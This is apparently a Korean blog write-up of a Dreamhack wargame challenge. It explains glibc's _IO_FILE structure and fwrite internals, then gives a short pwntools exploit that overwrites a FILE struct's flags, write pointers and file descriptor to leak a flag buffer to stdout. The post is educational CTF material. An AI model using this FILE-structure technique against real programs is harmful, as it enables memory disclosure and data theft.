_IO_FILE 구조체 기본 개념
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
_flags 멤버변수
- 상위 2바이트는 매직 넘버로, 0xfbad0000 고정값
- 하위 2바이트는 플래그: _IO_IS_APPENDING(0x1000), _IO_NO_READS(0x0004) , _IO_NO_WRITES(0x0008), _IO_CURRENTLY_PUTTING (0x0800)
_fileno 멤버변수
- 파일 디스크립터의 값
fp = fopen("testfile", "w");
fwrite() 함수 동작원리
* _IO_new_file_overflow 함수에서 _flags 변수에 _IO_NO_WRITES 플래그 OFF되어있는지 확인
* new_do_write 함수에서 _flags 변수에 _IO_IS_APPENDING 플래그 ON되어있는지 확인
* new_do_write 함수에서 _IO_read_end와 _IO_write_base가 다르면 lseek syscall 호출
// lseek syscall 호출 막기위해 _IO_write_base 조작 시 _IO_read_end도 동일한 값으로 조작
=> 결과적으로 f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base 를 이용해 write syscall 호출
검증?
fwrite() 직후에 bp 걸어놓고 fp가 가리키는 _IO_FILE 구조체의 _IO_write_base 변수를 확인해보자
pwndbg> x/gx 0x601080
0x601080 <fp>: 0x0000000001d1e260
pwndbg> vmmap 0x0000000001d1e260
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x1d1e000 0x1d3f000 rw-p 21000 0 [heap] +0x260
pwndbg> x/20gx 0x0000000001d1e260
0x1d1e260: 0x00000000fbad0a30 0x0000000001d1e490
0x1d1e270: 0x0000000001d1e490 0x0000000001d1e490
0x1d1e280: 0x0000000001d1e490 0x0000000001d1e890
0x1d1e290: 0x0000000001d1e490 0x0000000001d1e490
0x1d1e2a0: 0x0000000001d1f490 0x0000000000000000
0x1d1e2b0: 0x0000000000000000 0x0000000000000000
0x1d1e2c0: 0x0000000000000000 0x00007fc1645a7680
0x1d1e2d0: 0x0000000000000003 0x0000000000000000
0x1d1e2e0: 0x0000000000000000 0x0000000001d1e340
0x1d1e2f0: 0xffffffffffffffff 0x0000000000000000
pwndbg> x/s 0x0000000001d1e490
0x1d1e490: "TEST FILE!"
- _IO_write_base에 /tmp/testfile에 쓰일 문자열이 들어있었고
- _IO_write_ptr은 _IO_write_base보다 0x400 (sizeof(flag_buf) 만큼 떨어져있었다
- _IO_read_ptr ~ _IO_buf_end 동일한 값을 갖네 (_IO_write_ptr만 0x400 큰 값)
문제 소스코드
char flag_buf[1024];
FILE *fp;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aar/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
int main() {
const char *data = "TEST FILE!";
init();
read_flag();
fp = fopen("/tmp/testfile", "w");
printf("Data: ");
read(0, fp, 300);
fwrite(data, sizeof(char), sizeof(flag_buf), fp);
fclose(fp);
}
- Partial RELRO No canary found NX enabled No PIE
- read로 _IO_FILE 구조체 overwrite 가능
- _fileno = 1(stdout) , _IO_write_base 를 flag_buf , _IO_write_ptr 를 flag_buf+0x400 으로 overwrite
exploit 코드
from pwn import *
p = remote("host3.dreamhack.games", 15021)
flag_buf = 0x6010a0
pay = p64(0xfbad0000 | 0x800) # _IO_IS_APPENDING (없으면 기존 data 문자열 "TEST FILE!"이 써짐)
pay += p64(0) + p64(flag_buf) + p64(0) # _IO_read_ptr + _IO_read_end + _IO_read_base
pay += p64(flag_buf) + p64(flag_buf+0x400) # _IO_write_base + _IO_write_ptr
pay += p64(0)*8
pay += p64(1) # _fileno
p.sendafter("Data: ", pay)
p.interactive()
- 플래그 값으로 _IO_IS_APPENDING 주는 거랑 _IO_read_end 조작하는 것 잊지 말자
'security > 포너블 - dreamhack' 카테고리의 다른 글
[Dreamhack Wargame] iofile_aw (0) | 2023.06.24 |
---|---|
[Dreamhack Wargame] _IO_FILE Arbitrary Address Write (0) | 2023.06.23 |
[Dreamhack Wargame] send_sig (0) | 2023.06.23 |
[Dreamhack Wargame] SigReturn Oriented Programming (0) | 2023.06.23 |
[Dreamhack Wargame] rtld (0) | 2023.06.22 |